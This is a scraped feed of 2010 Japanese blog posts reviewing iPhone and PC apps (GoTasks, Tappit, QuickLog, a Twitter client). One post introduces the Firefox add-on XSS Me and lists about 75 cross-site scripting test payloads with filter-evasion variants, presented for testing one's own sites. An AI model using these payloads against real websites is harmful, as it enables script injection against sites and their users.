AUTHORITY SITE http://www.authority-site.com SEO,WEB制作,WEBデザインから心理学,面白系まで海外記事の紹介 Fri, 03 Sep 2010 06:18:10 +0000 ja hourly 1 GoogleTasksと同期する無料iPhone用ToDo管理アプリ「GoTasks」 http://www.authority-site.com/2010/09/iphone/gotasks.html http://www.authority-site.com/2010/09/iphone/gotasks.html#comments Thu, 02 Sep 2010 08:35:38 +0000 SEO http://www.authority-site.com/?p=2860
  • 究極のGTD（TO DO）サービスToodledoの多彩な連携方法
  • カッコ良すぎる50枚の iPhone 壁紙
  • 無料のiPhone用プッシュ通知アプリ「Boxcar」が便利すぎる
  • 便利すぎる無料の研究論文管理ソフト『Mendeley』
  • 時間管理iPhoneアプリ「QuickLog」が学習時間の見える化に便利
    • ]]>     GoTasks

    Google Tasks は Remember The Milk や Toodledo のような高機能なタスク管理サービスとは対極に位置する、軽くてシンプルで直感的なGoogle 製のGTD （ToDo リスト）サービスです。
    Google Tasks を iPhone から使うには、今まで有料アプリしかありませんでしたが、
    最近、無料の Google Tasks 連携アプリ 『GoTasks （無料）』 が公開されました。
    ダウンロードは→GoTasks （無料）

    使い方

    起動すると簡単な英語で説明されるので、それを読めば分かると思いますが、
    左下の設定（歯車のアイコン）をタップします。
    gotasks-04

    Synchronization Settings（同期設定）で、
    GmailアドレスとGmailパスワードを入力します。
    gotasks-03
    もし使えない場合は、一度 iPhone の Safari で Gmail にログインしてください。

    Lists 画面の文字をタップするとタスク画面になります。
    Add New Task でタスクを追加できます。
    gotasks-02

    タスクをタップすると、日付の設定ができます。
    gotasks-06

    左下の 「Sort by date」 をタップすると日付の並び順に設定できます。
    gotasks-07

    タスクを完了し、左のチェックボックスをタップするとこんな感じになります。
    右下の「Clear completed」をタップすると完了したタスクが消えます。
    gotasks-01

    設定画面はこんな感じです。
    gotasks-08

    最後に

    iPhone 用の同期できるタスク管理アプリは Toodledo 系 か Remember The Milk 系のものが多いなか、Gmail との親和性が高い Google Tasks 系のアプリは増えるのは嬉しいです。
    ダウンロードは→GoTasks （無料）


    Copyright © 2010 AUTHORITY SITE | SEOやWEBデザインから心理学おもしろ系まで 2010/09/02 17:35

    関連記事

    ]]>     http://www.authority-site.com/2010/09/iphone/gotasks.html/feed 0     かゆいところに手が届くTwitterクライアント 『とある触手の超百合砲』 http://www.authority-site.com/2010/08/freeware/project-yutrigun.html http://www.authority-site.com/2010/08/freeware/project-yutrigun.html#comments Mon, 23 Aug 2010 10:40:56 +0000 SEO http://www.authority-site.com/?p=2787
  • iPhoneのSafariから見ているページをTwitterにツイートする方法
  • Twitter ユーザーの最新ツイートを、jQuery と PHP で取得する2つの方法
  • 超大人気Twitterクライアント「ラーメン大陸」の使い方
  • 不覚にも無料iPhone用Twitterクライアント「Tappit」に萌えてしまった
  • 無料のiPhone用プッシュ通知アプリ「Boxcar」が便利すぎる
    • ]]>     project-railgun

    PC用のツイッタークライアントは多機能な 『Tween』 や 『Twit』 から、ツイートに特化した『ラーメン大陸』 （参考：ラーメン大陸の使い方）など様々ありますが、
    今回は痒いところに手が届くクライアント 『とある触手の超百合砲』 を紹介します。

    とある触手の超百合砲のインストール

    Twitter クライアント 『とある触手の超百合砲』 は 『とある科学の超電磁砲』 をベースにした二次著作物らしいです。
    とある触手の超百合砲は、Adobe AIR がインストールされていなければ使えません。
    インストールされていない場合は、Adobe – Adobe AIR からダウンロードしてインストールします。
    次に とある触手の超百合砲 Installer に行き、ダウンロードしてインストール

    設定について

    起動して、アカウント認証するとこんな感じの画面になります。
    動作は非常に、にゅるにゅるしてます。
    とある触手の超百合砲起動画面

    “設定”→”基本設定” から設定変更します。
    基本的な機能は他の Twitter クライアントと同じで直感的に分かります。
    設定変更

    ユニークな機能として、「名前付きリプライの敬称」設定機能があります。
    「名前付きリプライの敬称」設定機能
    この機能を使えば、例えばホリエモンにリプライを送るときに
    「@takapon_jp 堀江貴文(Takafumi Horie) ご主人様」 まで自動で入力できます。

    タスクアイコン右クリックから、ステルス機能も使えます。
    ステルス機能

    また、非常に便利な機能として、「非公式RT取得拒否」設定機能があり、
    「許可」、「拒否」、「多段RT拒否」、「返信として認識しない」と細かく設定できます。
    「非公式RT取得拒否」設定機能


    Copyright © 2010 AUTHORITY SITE | SEOやWEBデザインから心理学おもしろ系まで 2010/08/23 19:40

    関連記事

    ]]>     http://www.authority-site.com/2010/08/freeware/project-yutrigun.html/feed 0     XSS脆弱性が調査できるFirefoxアドオン『XSS Me』 http://www.authority-site.com/2010/08/firefox/xssme.html http://www.authority-site.com/2010/08/firefox/xssme.html#comments Mon, 16 Aug 2010 11:00:13 +0000 SEO http://www.authority-site.com/?p=2743
  • テキストを目立たせるには jQuery プラグインの jqIsoText が便利
  • HTMLを読みやすく美しくする8つの方法
  • jQueryを使ってブログの読み込みを速くするAdSense最適化の方法
  • iPhoneのSafariから見ているページをTwitterにツイートする方法
  • 短縮URLサービスによるブックマークの分散を防ぐ方法
    • ]]>     xssme-top

    動的なウェブサイトを作るときには、クロスサイトスクリプティング (Cross Site Scripting、XSS) の脆弱性をなくすことを意識しますが、Twitter や mix でもセキュリティの欠陥はあるので、初心者には難しいと思います。（両方とも、はまちちゃん がアレしたｗ）
    Firefox アドオンの 『XSS Me』 では簡単な XSS脆弱性発見ができます。

    1. XSS Me のインストール

    XSS Me :: Add-ons for Firefox から、インストールします。
    その後、Firefox を再起動します。

    2. XSS Me の使い方

    ツール→XSS Me→Open XSS Me Sidebar でサイドバーを表示させます。
    xss-me

    XSS脆弱性を調査したいウェブサイトを表示させます。
    その後、Test all forms with all attacks をクリックします。
    xssme-sidebar

    こんな結果画面が出てきます。
    xss-results
    もし、Failures があった場合は XSS されてしまう可能性があるということです。

    最後に

    自分で作成するウェブサービスにのみ使ってください。
    大量にデータ送信を行うと一時的にデータを受け付けなくなるウェブサービスもあります。
    もし、XSS脆弱性がある場合、
    document.vulnerable=true を <script>alert("XSS");</script> に変えると、
    XSS と表示されてしまいます。（javascript が実行可能）
    XSS Me は下記のようなコードをフォームに自動で大量に入れていきます。

    • <meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
    • <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
    • <SCRIPT>document.vulnerable=true;</SCRIPT>
    • <IMG SRC="jav ascript:document.vulnerable=true;">
    • <IMG SRC="javascript:document.vulnerable=true;">
    • <IMG SRC=" &#14; javascript:document.vulnerable=true;">
    • <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.vulnerable=true;>
    • <<SCRIPT>document.vulnerable=true;//<</SCRIPT>
    • <SCRIPT <B>document.vulnerable=true;</SCRIPT>
    • <IMG SRC="javascript:document.vulnerable=true;"
    • <iframe src="javascript:document.vulnerable=true; <
    • <SCRIPT>a=/XSS/\ndocument.vulnerable=true;</SCRIPT>
    • \";document.vulnerable=true;;//
    • </TITLE><SCRIPT>document.vulnerable=true;</SCRIPT>
    • <INPUT TYPE="IMAGE" SRC="javascript:document.vulnerable=true;">
    • <BODY BACKGROUND="javascript:document.vulnerable=true;">
    • <BODY ONLOAD=document.vulnerable=true;>
    • <IMG DYNSRC="javascript:document.vulnerable=true;">
    • <IMG LOWSRC="javascript:document.vulnerable=true;">
    • <BGSOUND SRC="javascript:document.vulnerable=true;">
    • <BR SIZE="&{document.vulnerable=true}">
    • <LAYER SRC="javascript:document.vulnerable=true;"></LAYER>
    • <LINK REL="stylesheet" HREF="javascript:document.vulnerable=true;">
    • <STYLE>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS
    • ｼscriptｾdocument.vulnerable=true;ｼ/scriptｾ
    • <IFRAME SRC="javascript:document.vulnerable=true;"></IFRAME>
    • <FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></FRAMESET>
    • <TABLE BACKGROUND="javascript:document.vulnerable=true;">
    • <TABLE><TD BACKGROUND="javascript:document.vulnerable=true;">
    • <DIV STYLE="background-image: url(javascript:document.vulnerable=true;)">
    • <DIV STYLE="background-image: url(&#1;javascript:document.vulnerable=true;)">
    • <DIV STYLE="width: expression(document.vulnerable=true);">
    • <STYLE>@im\port'\ja\vasc\ript:document.vulnerable=true';</STYLE>
    • <IMG STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">
    • <XSS STYLE="xss:expression(document.vulnerable=true)">
    • exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'>
    • <STYLE TYPE="text/javascript">document.vulnerable=true;</STYLE>
    • <STYLE>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></A
    • <STYLE type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</STYLE>
    • <!–[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]–>
    • <BASE HREF="javascript:document.vulnerable=true;//">
    • <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></OBJECT>
    • <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
    • <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
    • <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.vulnerable=true</SCRIPT>"></BODY></HTML>
    • <? echo('<SCR)';echo('IPT>document.vulnerable=true</SCRIPT>'); ?>
    • <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-
    • <a href="javascript#document.vulnerable=true;">
    • <div onmouseover="document.vulnerable=true;">
    • <img src="javascript:document.vulnerable=true;">
    • <img dynsrc="javascript:document.vulnerable=true;">
    • <input type="image" dynsrc="javascript:document.vulnerable=true;">
    • <bgsound src="javascript:document.vulnerable=true;">
    • &<script>document.vulnerable=true;</script>
    • &{document.vulnerable=true;};
    • <img src=&{document.vulnerable=true;};>
    • <link rel="stylesheet" href="javascript:document.vulnerable=true;">
    • <img src="mocha:document.vulnerable=true;">
    • <img src="livescript:document.vulnerable=true;">
    • <a href="about:<script>document.vulnerable=true;</script>">
    • <body onload="document.vulnerable=true;">
    • <div style="background-image: url(javascript:document.vulnerable=true;);">
    • <div style="behaviour: url([link to code]);">
    • <div style="binding: url([link to code]);">
    • <div style="width: expression(document.vulnerable=true;);">
    • <style type="text/javascript">document.vulnerable=true;</style>
    • <object classid="clsid:…" codebase="javascript:document.vulnerable=true;">
    • <style><!–</style><script>document.vulnerable=true;//–></script>
    • <<script>document.vulnerable=true;</script>
    • <![CDATA[<!--]]<script>document.vulnerable=true;//–></script>
    • <!– — –><script>document.vulnerable=true;</script><!– — –>
    • <img src="blah"onmouseover="document.vulnerable=true;">
    • <img src="blah>" onmouseover="document.vulnerable=true;">
    • <xml src="javascript:document.vulnerable=true;">
    • <xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml>
    • <div datafld="b" dataformatas="html" datasrc="#X"></div>
    • [\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script>

    Copyright © 2010 AUTHORITY SITE | SEOやWEBデザインから心理学おもしろ系まで 2010/08/16 20:00

    関連記事

    ]]>     http://www.authority-site.com/2010/08/firefox/xssme.html/feed 0     不覚にも無料iPhone用Twitterクライアント「Tappit」に萌えてしまった http://www.authority-site.com/2010/08/iphone/tappit.html http://www.authority-site.com/2010/08/iphone/tappit.html#comments Tue, 10 Aug 2010 08:17:11 +0000 SEO http://www.authority-site.com/?p=2683
  • 時間管理iPhoneアプリ「QuickLog」が学習時間の見える化に便利
  • 快適にCSS3 を試せる6つのWEBサービス
  • iPhoneのSafariから見ているページをTwitterにツイートする方法
  • 17の iPhone壁紙配布サイト + 20 のまとめ記事のまとめ
  • テキストを目立たせるには jQuery プラグインの jqIsoText が便利
    • ]]>     tappit-top

    オシャレな iPhone 用 Twitter クライアント 「Tappit （たぴっと）」 を紹介します。
    オシャレで操作性も良いので女性も抵抗感無く使えるTwitterクライアントです。
    ホッテントリメーカーを使ってタイトルを決めたので、言い過ぎな感もありますが。
    ダウンロードは→Tappit （無料）

    スキンが豊富

    tappit-07tappit-04
    吹き出しの形状、背景画像、透過の有無などが異なるスキン（見た目）があります。
    可愛いものからカッコイイものまで豊富なスキンが14種類あり、
    新規にスキンを作成することはできませんが、気分に応じて選択が可能。

    tappit-01tappit-02
    また、ハローキティのスキンが使える有料版の「Hello Kitty on Tappit」もあります。

    基本的な機能

    外観はスキンで大きく変わりますが、タイムライン、リスト表示はこんな感じ。
    tappit-06tappit-08

    設定画面はこんな感じ。
    フォントサイズは 11pt から 20pt まで設定可能。
    画像投稿は、Twitvideo TwitPic Twitgoo に対応しています。
    tappit-10
    タイムライン画面からスライド操作1回で様々なアクションを設定できます。
    Twitter for iPhone でもスライドでアクションが行えますが、
    Tappit の方が、タップ回数が少なく、短時間で返信やリツイートができます。

    ツイート投稿画面はこんな感じ。
    tappit-09
    Tappit にユニークな機能としてデコ画像機能があります。

    デコ画像機能

    デコ画像機能とは、デコメールのような画像をインライン表示する機能です。
    こんな感じのデコ画像があり、タイムライン画面で表示されます。
    tappit-11tappit-12

    Tappit ユーザ同士なら、下のように表示されます。
    tappit-13

    Webから表示

    てすと http://d.tappit.net/111less than a minute ago via Tappitg070 normal 不覚にも無料iPhone用Twitterクライアント「Tappit」に萌えてしまったg070
    g070

    最後に

    高機能な iPhone 用 Twitter クライアントと比較すると機能面では劣りますが、見た目重視 iPhone アプリを探している人にはオススメできます。
    デコ画像機能は Tappit ユーザー同士ならば使えますが、まだユーザ数が多くないので使う機会が少ないと思います。
    ダウンロードは→Tappit （無料）


    Copyright © 2010 AUTHORITY SITE | SEOやWEBデザインから心理学おもしろ系まで 2010/08/10 17:17

    関連記事

    ]]>     http://www.authority-site.com/2010/08/iphone/tappit.html/feed 0     時間管理iPhoneアプリ「QuickLog」が学習時間の見える化に便利 http://www.authority-site.com/2010/08/iphone/quicklog.html http://www.authority-site.com/2010/08/iphone/quicklog.html#comments Wed, 04 Aug 2010 08:42:06 +0000 SEO http://www.authority-site.com/?p=2662
  • 不覚にも無料iPhone用Twitterクライアント「Tappit」に萌えてしまった
  • 快適にCSS3 を試せる6つのWEBサービス
  • テキストを目立たせるには jQuery プラグインの jqIsoText が便利
  • Stylish 用ユーザースタイルシートの作り方
  • 17の iPhone壁紙配布サイト + 20 のまとめ記事のまとめ
    • ]]>     QuickLog-top

    勉強時間の管理法では、nanapi にGoogleドキュメントによる自動見える化に関する人気記事がありますが、Google ドキュメントを使うのが、ややこしいと感じたり手間がかかると感じることがあります。
    iPhone アプリの QuickLog は、勉強の開始と終了にタップするだけで時間管理できるので非常に楽です。
    ダウンロードは→QuickLog Lite （無料）

    使い方

    使い方は超簡単です。
    起動してすぐに表示される大きな丸をタップすると時間が進みます。
    時間を止めるときは、もう一度大きな丸をタップして、タグ（何を勉強したか）を入力します。
    quicklog-1

    Googleカレンダーと連携

    現在、連携できるサービスは、Google カレンダーと Twitter です。
    quicklog-2
    基本的には Google カレンダーと同期して使います。
    「何時何分から何時何分まで何をしたか」が記録されます。
    例えば、無料アプリの CCal を使って表示するとこんな感じになります。
    ccal-01

    Twitter と連携

    Twitter と連携させると、下のような感じにツイートされます。
    このツイート自体には面白みがないので、メインアカウントとは別に勉強時間管理用の複アカウントを作るのも良いかもしれません。

    #QuickLog 2010-07-29 03:17:54,2010-07-29 04:10:54(00:53:00) 基本情報less than a minute ago via QuickLogdefault profile 0 normal 時間管理iPhoneアプリ「QuickLog」が学習時間の見える化に便利study_
    studytime_

    グラフ化

    QuickLog に勉強時間を保存しているのでオフラインでもグラフ化することができます。
    ↓「どの科目をどんな割合で勉強したか」のグラフ
    quicklog-3
    ↓「何日に何時間勉強したか」のグラフ
    quicklog-4

    最後に

    QuickLog Lite（3種類の項目までしか登録できない無料版） と QuickLog （制限のない有料版） がありますが、勉強時間の管理だけだったら無料版でも十分使えます。
    Google Docs で管理できないのが欠点かもしれませんが、多機能な他のアプリと比べ時間開始と時間終了のタップだけというシンプルさが魅力です。
    ダウンロードは→QuickLog Lite （無料）


    Copyright © 2010 AUTHORITY SITE | SEOやWEBデザインから心理学おもしろ系まで 2010/08/04 17:42

    関連記事

    ]]>     http://www.authority-site.com/2010/08/iphone/quicklog.html/feed 0